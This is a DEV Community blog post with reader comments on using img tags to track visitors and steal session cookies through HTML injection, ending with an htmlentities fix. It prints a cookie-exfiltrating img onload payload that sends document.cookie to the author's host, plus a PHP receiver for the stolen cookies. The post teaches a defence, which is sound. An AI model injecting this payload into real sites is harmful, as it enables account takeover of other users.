DEV Community

Cover image for Stealing Accounts with an IMG Tag
nastyox
nastyox

Posted on • Edited on

Stealing Accounts with an IMG Tag

Imagine I'm telling you how awesome it was to be tweeted about by a page on twitter, and I show you this image:

Rando.js on JavaScript Daily

That seems innocent enough. You you've just seen me get excited about something and share an image with you. You've learned a little bit about me, but you may not realize that I've also learned a little bit about you... like potentially where you live. Is this close?

Unless you're using a VPN, that might have caught you off guard. Don't worry; I'm not storing any data about you. I'm just making a point. <img> tags can be abused to scrape data from users. Hackers can even exploit this to steal other users' online accounts without them ever having a clue. I'll show you how.

Using images to scrape viewer data

Let's look at the code for the image above:



<img src="http://nastyox.com/images/rando-js-tweet" alt="Rando.js on JavaScript Daily"/>


Enter fullscreen mode Exit fullscreen mode

The dirty little secret is that there's a reason that URL is missing an image file extension at the end. It's not an image; it's a PHP file, and that PHP file grabs your IP address and has a jolly old time with it before returning some image data to mimic an image URL. It's as easy as this:



<?php
    $ip = $_SERVER['REMOTE_ADDR'];

    //do whatever I want with the IP...

    readfile("rando-js-tweet.png");
?>


Enter fullscreen mode Exit fullscreen mode

Now, if you've ever looked into web development at all, you know that everyone and their mother grabs your IP address and uses it to track you across the web. That's not new. What gets dangerous is when you start sending other data along with the URL.

Stealing accounts

I'm not actually going to set up a live showcase for this because I believe it's illegal, but I will give you real code that hackers can actually use to steal your account- because it's important to know what you're up against when it comes to web security. Here's the code:



<img src="http://nastyox.com/images/fake-sample-url" onload="var i=0;if(i++)this.src+='?c='+encodeURIComponent(document.cookie);"/>


Enter fullscreen mode Exit fullscreen mode

All this code does is call the PHP file provided in the src with document.cookie as a parameter. If you post this code to a comment section, forum, or other platform that's not actively guarding against HTML injection, everyone that loads the image will unwittingly send their cookie data to your PHP file, which can grab the cookie data as simply as this:



<?php
    $cookies = rawurldecode($_GET["c"]);

    //browse your cookies for info that'll let me mimic your login...

    readfile("rando-js-tweet.png");
?>


Enter fullscreen mode Exit fullscreen mode

Everything you need to get into someone's account is usually stored right there in their document.cookie. If it's not there, you can poke around in their window.localStoarge, window.sessionStorage, or any other client-side storage until you find what you want. This exploit requires neglect on the part of the web developer, but believe me, it happens.

A real-life example

In July of 2016, Pokemon GO hit phones across the world and gained a tremendous 45m daily active users within just two weeks. By August of that same year, players uncovered this neat little trick:

Pokemon GO nickname hack

Yes, this really happened. Players were writing HTML in the names of their pokemon, and it was executing. I can't remember if you could see other players' pokemon on your device at that point or if accounts handled payment information, but you can imagine that the devs flipped out. I heard about name bolding/italicizing one night, and it was fixed the next morning.


Lock

If you just realized that you're vulnerable to this sort of attack, use htmlentities for PHP (or similar methods for other languages) to protect your users like so:



$postedText = htmlentities($postedText);

//Now, we can safely show other users this escaped text


Enter fullscreen mode Exit fullscreen mode

It's just that simple. This will escape any HTML tags (including img tags) that hackers try to inject with their posted text. It's not just you that forgets to do this; it happens to the big guys too every now and then.

Latest comments (31)

Collapse
 
willhmartin profile image
Will Martin

Interesting, is the result supposed to display on google maps? I'm in China behind the great firewall so if it's google then I need my vpn to see the map but then you can't grab my data. Is that near the mark or am I way off? Either way I'm seeing a blank window.

Collapse
 
nastyox1 profile image
nastyox

Yep, just a google map of wherever your IP traces to :)

Collapse
 
gotheer profile image
gotheer

Forgetting escaping and the other security measures is not tolerate for BIG guys. 😎

Collapse
 
pontus profile image
𝙿𝚘𝚗𝚝𝚞𝚜 𝚂𝚞𝚗𝚍𝚎́𝚗

a bit ot maybe but what is the if(i++) doing?

Collapse
 
i8sumpi profile image
Kira L

does this only work on images or can it work on other requests too?

Collapse
 
nastyox1 profile image
nastyox

It'll work on other requests too.

Collapse
 
factorlive profile image
Patrick

Thanks for highlighting this.

Collapse
 
techgirl1908 profile image
Angie Jones

I read all of this and anticipated the part where you tell me how to avoid it and instead only got "go investigate htmlentities" :/

Collapse
 
nastyox1 profile image
nastyox • Edited

Thanks for checking the article out! I've updated the article to be more detailed in this area, but I'll include that in this reply as well. When you allow a user to post text to your site, you take the text they posted on the backend and escape it with the htmlentities function if you're using PHP.

$postedText = htmlentities($postedText);

It's just that simple. This will get rid of any img tags that users try to inject.

Collapse
 
techgirl1908 profile image
Angie Jones

thank you

Collapse
 
olore profile image
Brian Olore

I'm worried that there is some misinformation here.

Browsers won't send cookies to just any random host. The only cookies you can get are the ones you set from your host (you can't "hack things" to get google.com cookies sent to example.com). Same for localStorage. Of course there could be a browser vulnerability, but, by convention this is not something to worry about.

HTML, JS and SQL injection are all real and must be coded around. It again, this is very different than worrying about getting your cookies stolen.

Your example of the image that grabs your IP is 100% legit, and you correctly noted that this is how email trackers work. But, they aren't stealing cookies and getting access to credentials from other hosts. Conflating the two makes it sound like they are both exposing user information more egregiously than they are.

Collapse
 
nastyox1 profile image
nastyox • Edited

The reason the cookie stealing example works is that it loads document.cookie on the frontend of the website you inject the HTML into. document.cookie would be called from the website you'd attack, so there would be no cross-origin conflict. It would be as if the devs themselves had coded in a way to send you their users' cookies. If Google forgot to escape HTML entities anywhere they allowed you to post text to other users, you absolutely could steal everyone's Google cookies when they viewed the image you posted. document.cookie is just a string, and when it's loaded by the same domain, you can then send it to any website you want- just like you could with any other string.

Perhaps you didn't see the "onload" of the cookie-stealing image example?

Collapse
 
olore profile image
Brian Olore

You are right I didn't see the onload part because I'm on my phone haha.

So, how do you get that code in there? Allowing a user to put in a url to an image is VERY different than allowing them to add an HTML element (that has an onload). I conceded that sanitizing HTML, JS and SQL is still a very necessary practice. As others have pointed out the security provided by http-only cookies is also a must have on everyone web developer's checklist.

I'm sorry for sounding negative.... I just feel your post is making things sound scary unnecessarily. I do appreciate your work to expose how things work under the covers in an easily consumable way.

Thread Thread
 
nastyox1 profile image
nastyox • Edited

It's not scary if you know how to stop it from happening! It's important to note that this style of attack (cross-site scripting) is consistently rated the most commonly executed attack method. While it's easy to guard against (as noted at the end of this article), developers that aren't aware of it will almost certainly leave it unguarded. In an unguarded situation, all you'd have to do is paste that cookie-stealing image tag into the comment section, your username field, or wherever else you're meant to be adding text to the website. That's why it's so important to talk about it and not just assume all developers know about it already. It does pose a very real threat if not defended against correctly.

Thanks! I'm glad you're enjoying my content, especially enough to interact with it in the comment sections.

Collapse
 
mumingazi profile image
Mumin Gazi

Super interesting. Thanks !

Collapse
 
rderik profile image
rderik

Nice article.

There was also something similar when using SVGs.

owasp.org/www-pdf-archive/Mario_He...

Collapse
 
adam_cyclones profile image
Adam Crockett 🌀 • Edited

Unclean input unclean!! 🔥